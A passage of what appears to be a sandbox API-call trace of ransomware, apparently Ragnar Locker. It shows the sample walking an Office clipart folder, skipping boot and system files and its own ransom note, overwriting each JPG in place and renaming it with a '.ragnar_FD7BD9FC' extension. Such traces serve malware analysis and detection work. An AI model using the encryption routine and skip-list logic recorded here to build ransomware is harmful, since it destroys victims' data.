(lpString1="J0341551.JPG", lpString2="bootfont.bin") returned 1 [0087.826] lstrcmpiW (lpString1="J0341551.JPG", lpString2="bootsect.bak") returned 1 [0087.826] lstrcmpiW (lpString1="J0341551.JPG", lpString2="bootmgr") returned 1 [0087.826] lstrcmpiW (lpString1="J0341551.JPG", lpString2="bootmgr.efi") returned 1 [0087.826] lstrcmpiW (lpString1="J0341551.JPG", lpString2="bootmgfw.efi") returned 1 [0087.826] lstrcmpiW (lpString1="J0341551.JPG", lpString2="desktop.ini") returned 1 [0087.826] lstrcmpiW (lpString1="J0341551.JPG", lpString2="iconcache.db") returned 1 [0087.826] lstrcmpiW (lpString1="J0341551.JPG", lpString2="ntldr") returned -1 [0087.826] lstrcmpiW (lpString1="J0341551.JPG", lpString2="ntuser.dat") returned -1 [0087.826] lstrcmpiW (lpString1="J0341551.JPG", lpString2="ntuser.dat.log") returned -1 [0087.826] lstrcmpiW (lpString1="J0341551.JPG", lpString2="ntuser.ini") returned -1 [0087.826] lstrcmpiW (lpString1="J0341551.JPG", lpString2="thumbs.db") returned -1 [0087.826] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.826] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.826] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.826] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.827] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.827] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.827] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg")) returned 0x20 [0087.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.827] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=23126) returned 1 [0087.827] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5a4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.827] GetProcessHeap () returned 0x580000 [0087.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.827] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.829] VirtualAlloc (lpAddress=0x0, dwSize=0x5a56, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.829] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.829] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.829] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5a56, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5a56, lpOverlapped=0x0) returned 1 [0087.830] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.830] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5a56, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.830] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5a56, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5a56, lpOverlapped=0x0) returned 1 [0087.830] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5a56, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.831] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.831] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5a56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.831] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.831] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.831] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.831] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.831] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.831] GetProcessHeap () returned 0x580000 [0087.831] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.831] CloseHandle (hObject=0xf4) returned 1 [0087.831] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" [0087.831] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.ragnar_FD7BD9FC" [0087.831] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.832] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f43, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341554.JPG", cAlternateFileName="")) returned 1 [0087.832] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.832] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341554.JPG" | out: lpString1="J0341554.JPG") returned="J0341554.JPG" [0087.832] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG") returned=".JPG" [0087.832] lstrcmpiW (lpString1="J0341554.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.832] lstrcmpiW (lpString1="J0341554.JPG", lpString2="autorun.inf") returned 1 [0087.832] lstrcmpiW (lpString1="J0341554.JPG", lpString2="boot.ini") returned 1 [0087.832] lstrcmpiW (lpString1="J0341554.JPG", lpString2="bootfont.bin") returned 1 [0087.832] lstrcmpiW (lpString1="J0341554.JPG", lpString2="bootsect.bak") returned 1 [0087.832] lstrcmpiW (lpString1="J0341554.JPG", lpString2="bootmgr") returned 1 [0087.832] lstrcmpiW (lpString1="J0341554.JPG", lpString2="bootmgr.efi") returned 1 [0087.832] lstrcmpiW (lpString1="J0341554.JPG", lpString2="bootmgfw.efi") returned 1 [0087.832] lstrcmpiW (lpString1="J0341554.JPG", lpString2="desktop.ini") returned 1 [0087.832] lstrcmpiW (lpString1="J0341554.JPG", lpString2="iconcache.db") returned 1 [0087.833] lstrcmpiW (lpString1="J0341554.JPG", lpString2="ntldr") returned -1 [0087.833] lstrcmpiW (lpString1="J0341554.JPG", lpString2="ntuser.dat") returned -1 [0087.833] lstrcmpiW (lpString1="J0341554.JPG", lpString2="ntuser.dat.log") returned -1 [0087.833] lstrcmpiW (lpString1="J0341554.JPG", lpString2="ntuser.ini") returned -1 [0087.833] lstrcmpiW (lpString1="J0341554.JPG", lpString2="thumbs.db") returned -1 [0087.833] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.833] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.833] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.833] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.833] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.833] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.833] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg")) returned 0x20 [0087.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.834] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=28483) returned 1 [0087.834] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6f3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.834] GetProcessHeap () returned 0x580000 [0087.834] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.834] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.835] VirtualAlloc (lpAddress=0x0, dwSize=0x6f43, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.836] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.836] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.836] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6f43, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6f43, lpOverlapped=0x0) returned 1 [0087.848] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.848] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6f43, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.849] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6f43, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6f43, lpOverlapped=0x0) returned 1 [0087.849] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6f43, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.849] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.849] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6f43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.849] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.849] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.849] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.850] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.850] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.850] GetProcessHeap () returned 0x580000 [0087.850] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.850] CloseHandle (hObject=0xf4) returned 1 [0087.850] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" [0087.850] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.ragnar_FD7BD9FC" [0087.850] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341557.JPG", cAlternateFileName="")) returned 1 [0087.851] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.851] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341557.JPG" | out: lpString1="J0341557.JPG") returned="J0341557.JPG" [0087.851] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG") returned=".JPG" [0087.851] lstrcmpiW (lpString1="J0341557.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.851] lstrcmpiW (lpString1="J0341557.JPG", lpString2="autorun.inf") returned 1 [0087.851] lstrcmpiW (lpString1="J0341557.JPG", lpString2="boot.ini") returned 1 [0087.851] lstrcmpiW (lpString1="J0341557.JPG", lpString2="bootfont.bin") returned 1 [0087.851] lstrcmpiW (lpString1="J0341557.JPG", lpString2="bootsect.bak") returned 1 [0087.851] lstrcmpiW (lpString1="J0341557.JPG", lpString2="bootmgr") returned 1 [0087.851] lstrcmpiW (lpString1="J0341557.JPG", lpString2="bootmgr.efi") returned 1 [0087.851] lstrcmpiW (lpString1="J0341557.JPG", lpString2="bootmgfw.efi") returned 1 [0087.851] lstrcmpiW (lpString1="J0341557.JPG", lpString2="desktop.ini") returned 1 [0087.851] lstrcmpiW (lpString1="J0341557.JPG", lpString2="iconcache.db") returned 1 [0087.851] lstrcmpiW (lpString1="J0341557.JPG", lpString2="ntldr") returned -1 [0087.851] lstrcmpiW (lpString1="J0341557.JPG", lpString2="ntuser.dat") returned -1 [0087.851] lstrcmpiW (lpString1="J0341557.JPG", lpString2="ntuser.dat.log") returned -1 [0087.851] lstrcmpiW (lpString1="J0341557.JPG", lpString2="ntuser.ini") returned -1 [0087.851] lstrcmpiW (lpString1="J0341557.JPG", lpString2="thumbs.db") returned -1 [0087.851] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.851] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.851] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.851] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.851] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.851] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.851] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg")) returned 0x20 [0087.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.852] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27304) returned 1 [0087.852] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6a9f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.852] GetProcessHeap () returned 0x580000 [0087.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.852] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.854] VirtualAlloc (lpAddress=0x0, dwSize=0x6aa8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.854] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.854] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.854] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6aa8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6aa8, lpOverlapped=0x0) returned 1 [0087.855] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.856] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6aa8, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.856] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6aa8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6aa8, lpOverlapped=0x0) returned 1 [0087.856] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6aa8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.856] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.856] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6aa8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.856] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.856] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.856] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.856] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.856] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.856] GetProcessHeap () returned 0x580000 [0087.857] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.857] CloseHandle (hObject=0xf4) returned 1 [0087.857] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" [0087.857] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.ragnar_FD7BD9FC" [0087.857] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.857] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6873, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341559.JPG", cAlternateFileName="")) returned 1 [0087.857] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.858] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341559.JPG" | out: lpString1="J0341559.JPG") returned="J0341559.JPG" [0087.858] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG") returned=".JPG" [0087.858] lstrcmpiW (lpString1="J0341559.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.858] lstrcmpiW (lpString1="J0341559.JPG", lpString2="autorun.inf") returned 1 [0087.858] lstrcmpiW (lpString1="J0341559.JPG", lpString2="boot.ini") returned 1 [0087.858] lstrcmpiW (lpString1="J0341559.JPG", lpString2="bootfont.bin") returned 1 [0087.858] lstrcmpiW (lpString1="J0341559.JPG", lpString2="bootsect.bak") returned 1 [0087.858] lstrcmpiW (lpString1="J0341559.JPG", lpString2="bootmgr") returned 1 [0087.858] lstrcmpiW (lpString1="J0341559.JPG", lpString2="bootmgr.efi") returned 1 [0087.858] lstrcmpiW (lpString1="J0341559.JPG", lpString2="bootmgfw.efi") returned 1 [0087.858] lstrcmpiW (lpString1="J0341559.JPG", lpString2="desktop.ini") returned 1 [0087.858] lstrcmpiW (lpString1="J0341559.JPG", lpString2="iconcache.db") returned 1 [0087.858] lstrcmpiW (lpString1="J0341559.JPG", lpString2="ntldr") returned -1 [0087.858] lstrcmpiW (lpString1="J0341559.JPG", lpString2="ntuser.dat") returned -1 [0087.858] lstrcmpiW (lpString1="J0341559.JPG", lpString2="ntuser.dat.log") returned -1 [0087.858] lstrcmpiW (lpString1="J0341559.JPG", lpString2="ntuser.ini") returned -1 [0087.858] lstrcmpiW (lpString1="J0341559.JPG", lpString2="thumbs.db") returned -1 [0087.858] lstrcmpiW (lpString1=".JPG", 